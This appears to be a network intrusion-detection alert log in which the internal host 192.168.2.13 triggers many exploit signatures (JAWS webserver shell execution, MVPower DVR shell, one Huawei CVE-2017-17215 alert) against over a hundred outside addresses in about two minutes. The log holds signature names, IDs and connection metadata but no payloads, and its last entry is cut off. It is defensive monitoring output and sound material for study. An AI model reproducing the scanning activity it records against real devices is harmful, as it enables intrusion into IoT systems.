ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 189.43.147.177

Timestamp:	04/14/24-04:00:23.634919
SID:	2030092
Source Port:	38066
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 13.75.119.219

Timestamp:	04/14/24-04:00:36.415258
SID:	2030092
Source Port:	51988
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 2.23.225.45

Timestamp:	04/14/24-04:01:18.290340
SID:	2025883
Source Port:	54590
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 182.253.216.253

Timestamp:	04/14/24-04:01:28.439800
SID:	2030092
Source Port:	54638
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 103.208.141.2

Timestamp:	04/14/24-04:01:02.412507
SID:	2025883
Source Port:	40218
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 45.201.188.7

Timestamp:	04/14/24-04:01:11.932247
SID:	2025883
Source Port:	41612
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 23.214.128.100

Timestamp:	04/14/24-04:00:26.833868
SID:	2030092
Source Port:	54934
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 62.138.209.88

Timestamp:	04/14/24-04:01:42.620526
SID:	2025883
Source Port:	50746
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 8.217.236.138

Timestamp:	04/14/24-04:00:20.364272
SID:	2025883
Source Port:	37672
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 52.6.14.111

Timestamp:	04/14/24-04:01:25.452088
SID:	2030092
Source Port:	57856
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 52.207.99.199

Timestamp:	04/14/24-04:01:45.202514
SID:	2030092
Source Port:	33076
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 203.32.78.72

Timestamp:	04/14/24-04:00:34.736820
SID:	2030092
Source Port:	57768
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 148.0.2.9

Timestamp:	04/14/24-04:01:36.656522
SID:	2030092
Source Port:	50872
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 35.169.168.55

Timestamp:	04/14/24-04:00:46.386368
SID:	2025883
Source Port:	36124
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 66.33.220.122

Timestamp:	04/14/24-04:00:55.629564
SID:	2030092
Source Port:	39472
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 87.171.240.112

Timestamp:	04/14/24-04:00:22.051472
SID:	2030092
Source Port:	42794
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 37.100.134.205

Timestamp:	04/14/24-04:00:36.444458
SID:	2025883
Source Port:	60518
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 154.86.229.116

Timestamp:	04/14/24-04:01:02.689671
SID:	2025883
Source Port:	56302
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 35.186.240.219

Timestamp:	04/14/24-04:01:22.226449
SID:	2030092
Source Port:	60336
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 74.208.25.82

Timestamp:	04/14/24-03:59:54.909818
SID:	2030092
Source Port:	45610
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 47.94.165.217

Timestamp:	04/14/24-04:01:11.676717
SID:	2025883
Source Port:	44394
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 193.255.219.145

Timestamp:	04/14/24-04:00:23.819902
SID:	2025883
Source Port:	44076
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 172.234.221.196

Timestamp:	04/14/24-04:01:47.385370
SID:	2030092
Source Port:	35826
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 18.66.83.162

Timestamp:	04/14/24-04:01:17.739938
SID:	2025883
Source Port:	51766
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 2.23.10.85

Timestamp:	04/14/24-04:00:33.265487
SID:	2025883
Source Port:	41734
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 185.153.151.196

Timestamp:	04/14/24-04:00:19.372950
SID:	2030092
Source Port:	33548
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 34.210.176.69

Timestamp:	04/14/24-04:00:30.450105
SID:	2025883
Source Port:	33768
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 185.242.83.139

Timestamp:	04/14/24-04:00:43.209278
SID:	2025883
Source Port:	49396
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 23.192.170.172

Timestamp:	04/14/24-04:01:36.478737
SID:	2025883
Source Port:	34494
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 2.22.20.139

Timestamp:	04/14/24-04:01:28.412588
SID:	2030092
Source Port:	35050
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.241.118.9

Timestamp:	04/14/24-04:01:45.878729
SID:	2835222
Source Port:	57518
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 159.75.252.47

Timestamp:	04/14/24-04:00:58.809367
SID:	2030092
Source Port:	53566
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 107.23.217.196

Timestamp:	04/14/24-04:00:19.560533
SID:	2030092
Source Port:	42962
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 172.104.229.184

Timestamp:	04/14/24-04:01:18.576134
SID:	2025883
Source Port:	36274
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 18.155.196.181

Timestamp:	04/14/24-04:01:24.483333
SID:	2025883
Source Port:	43782
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 139.162.20.153

Timestamp:	04/14/24-04:00:39.681596
SID:	2030092
Source Port:	59966
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 116.124.75.172

Timestamp:	04/14/24-04:00:26.526355
SID:	2025883
Source Port:	36682
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 94.121.106.130

Timestamp:	04/14/24-04:00:45.506052
SID:	2030092
Source Port:	54594
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 178.25.1.70

Timestamp:	04/14/24-04:01:11.341399
SID:	2030092
Source Port:	57016
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 85.122.208.160

Timestamp:	04/14/24-04:00:45.351451
SID:	2025883
Source Port:	45776
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 112.90.95.147

Timestamp:	04/14/24-04:00:15.808010
SID:	2025883
Source Port:	40442
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 2.19.74.62

Timestamp:	04/14/24-04:00:52.263453
SID:	2025883
Source Port:	50200
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 173.255.248.225

Timestamp:	04/14/24-04:01:28.249941
SID:	2030092
Source Port:	48322
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 104.74.49.225

Timestamp:	04/14/24-04:00:14.043600
SID:	2025883
Source Port:	33676
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 23.207.167.238

Timestamp:	04/14/24-04:01:13.627826
SID:	2025883
Source Port:	38916
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 173.44.211.253

Timestamp:	04/14/24-03:59:54.894621
SID:	2025883
Source Port:	48558
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 35.233.4.129

Timestamp:	04/14/24-04:01:08.272967
SID:	2025883
Source Port:	45670
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 103.182.211.131

Timestamp:	04/14/24-04:01:52.984466
SID:	2030092
Source Port:	37554
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 23.65.224.107

Timestamp:	04/14/24-04:00:34.400250
SID:	2025883
Source Port:	54022
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 184.31.108.44

Timestamp:	04/14/24-04:01:45.192547
SID:	2025883
Source Port:	52284
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 2.23.225.45

Timestamp:	04/14/24-04:01:18.290340
SID:	2030092
Source Port:	54590
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 216.32.28.43

Timestamp:	04/14/24-04:00:13.912169
SID:	2030092
Source Port:	39046
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 116.255.226.15

Timestamp:	04/14/24-04:00:14.524876
SID:	2025883
Source Port:	43178
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 75.101.148.175

Timestamp:	04/14/24-04:00:45.618669
SID:	2025883
Source Port:	38324
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 193.255.219.145

Timestamp:	04/14/24-04:00:23.819902
SID:	2030092
Source Port:	44076
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 80.88.214.211

Timestamp:	04/14/24-04:01:42.620183
SID:	2025883
Source Port:	43546
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 104.108.214.213

Timestamp:	04/14/24-04:01:30.558775
SID:	2025883
Source Port:	38970
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 37.235.240.159

Timestamp:	04/14/24-04:01:03.888459
SID:	2025883
Source Port:	55878
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 62.31.96.100

Timestamp:	04/14/24-04:00:45.811296
SID:	2025883
Source Port:	55640
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 182.92.126.127

Timestamp:	04/14/24-04:00:58.602964
SID:	2025883
Source Port:	38648
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 35.162.70.249

Timestamp:	04/14/24-04:01:52.301708
SID:	2030092
Source Port:	51858
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 158.120.209.116

Timestamp:	04/14/24-04:00:22.618214
SID:	2025883
Source Port:	55830
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 154.38.99.116

Timestamp:	04/14/24-04:00:29.440747
SID:	2030092
Source Port:	38562
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 45.76.43.88

Timestamp:	04/14/24-04:00:47.619412
SID:	2030092
Source Port:	50810
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 103.140.205.113

Timestamp:	04/14/24-04:00:23.893828
SID:	2030092
Source Port:	47062
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 154.212.222.199

Timestamp:	04/14/24-04:01:49.333830
SID:	2030092
Source Port:	38184
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 46.229.129.131

Timestamp:	04/14/24-04:00:58.842752
SID:	2025883
Source Port:	44174
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 173.255.248.225

Timestamp:	04/14/24-04:01:25.394338
SID:	2025883
Source Port:	48264
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 38.38.113.178

Timestamp:	04/14/24-04:01:02.222902
SID:	2025883
Source Port:	51726
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 23.231.136.43

Timestamp:	04/14/24-04:00:46.618837
SID:	2030092
Source Port:	59338
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 63.119.95.169

Timestamp:	04/14/24-04:00:58.728290
SID:	2025883
Source Port:	52106
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 18.102.140.68

Timestamp:	04/14/24-04:00:57.934126
SID:	2025883
Source Port:	42320
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 174.138.113.58

Timestamp:	04/14/24-04:00:33.174775
SID:	2030092
Source Port:	44088
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 108.59.247.146

Timestamp:	04/14/24-04:01:39.212023
SID:	2030092
Source Port:	34712
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 52.80.217.220

Timestamp:	04/14/24-04:00:39.666514
SID:	2025883
Source Port:	33582
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 164.42.150.172

Timestamp:	04/14/24-04:00:57.603560
SID:	2025883
Source Port:	45098
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 66.102.1.100

Timestamp:	04/14/24-04:01:35.799638
SID:	2025883
Source Port:	51732
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 23.41.161.203

Timestamp:	04/14/24-04:00:19.325629
SID:	2025883
Source Port:	53182
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 201.211.35.185

Timestamp:	04/14/24-04:01:15.381804
SID:	2025883
Source Port:	33018
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 207.60.38.122

Timestamp:	04/14/24-04:01:39.336822
SID:	2025883
Source Port:	44336
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 143.204.37.147

Timestamp:	04/14/24-04:00:16.351082
SID:	2025883
Source Port:	43502
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 20.103.122.207

Timestamp:	04/14/24-04:01:47.624292
SID:	2030092
Source Port:	51576
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 80.190.131.134

Timestamp:	04/14/24-04:00:16.678171
SID:	2025883
Source Port:	48132
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 23.67.167.116

Timestamp:	04/14/24-04:00:57.924794
SID:	2025883
Source Port:	50124
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 44.212.152.11

Timestamp:	04/14/24-04:00:21.603945
SID:	2030092
Source Port:	33568
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 59.190.129.217

Timestamp:	04/14/24-04:00:55.391835
SID:	2025883
Source Port:	34908
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 89.117.229.176

Timestamp:	04/14/24-04:01:32.627415
SID:	2030092
Source Port:	33716
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 4.159.63.164

Timestamp:	04/14/24-04:00:36.712470
SID:	2025883
Source Port:	39718
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 185.49.69.132

Timestamp:	04/14/24-04:01:42.036001
SID:	2025883
Source Port:	53876
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 18.208.4.165

Timestamp:	04/14/24-04:01:28.306404
SID:	2025883
Source Port:	55524
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 44.239.15.122

Timestamp:	04/14/24-04:00:39.345906
SID:	2025883
Source Port:	54394
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 39.96.116.6

Timestamp:	04/14/24-04:01:11.331237
SID:	2030092
Source Port:	51104
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 207.23.167.92

Timestamp:	04/14/24-04:01:45.448334
SID:	2030092
Source Port:	54992
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 103.208.141.2

Timestamp:	04/14/24-04:01:02.412507
SID:	2030092
Source Port:	40218
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 184.29.60.36

Timestamp:	04/14/24-04:00:27.608930
SID:	2030092
Source Port:	33212
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 186.128.162.147

Timestamp:	04/14/24-04:01:50.733475
SID:	2030092
Source Port:	52126
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 193.180.115.13

Timestamp:	04/14/24-04:00:58.798190
SID:	2030092
Source Port:	33346
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 208.186.235.80

Timestamp:	04/14/24-04:01:18.696332
SID:	2030092
Source Port:	59884
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 66.29.153.184

Timestamp:	04/14/24-04:01:42.125788
SID:	2025883
Source Port:	60834
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 204.114.95.126

Timestamp:	04/14/24-04:01:08.197623
SID:	2025883
Source Port:	60042
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 41.76.222.158

Timestamp:	04/14/24-04:01:12.029142
SID:	2030092
Source Port:	50764
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 149.106.147.162

Timestamp:	04/14/24-04:00:22.774035
SID:	2030092
Source Port:	49392
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 159.203.182.204

Timestamp:	04/14/24-04:00:15.478884
SID:	2025883
Source Port:	46530
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 80.209.252.57

Timestamp:	04/14/24-04:00:26.844855
SID:	2030092
Source Port:	58572
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 52.7.20.164

Timestamp:	04/14/24-04:00:15.468385
SID:	2030092
Source Port:	46244
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 23.64.28.225

Timestamp:	04/14/24-04:00:49.325490
SID:	2025883
Source Port:	37834
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 23.39.224.152

Timestamp:	04/14/24-04:00:22.677377
SID:	2025883
Source Port:	36268
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 18.173.187.36

Timestamp:	04/14/24-04:00:36.719961
SID:	2030092
Source Port:	58002
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 142.112.26.153

Timestamp:	04/14/24-04:00:53.744168
SID:	2025883
Source Port:	56592
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 116.6.105.90

Timestamp:	04/14/24-04:00:47.631406
SID:	2030092
Source Port:	51960
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 2.23.225.45

Timestamp:	04/14/24-04:01:19.302115
SID:	2030092
Source Port:	54664
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 125.23.46.59

Timestamp:	04/14/24-04:00:39.952737
SID:	2030092
Source Port:	35040
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 54.72.206.96

Timestamp:	04/14/24-04:01:53.773061
SID:	2025883
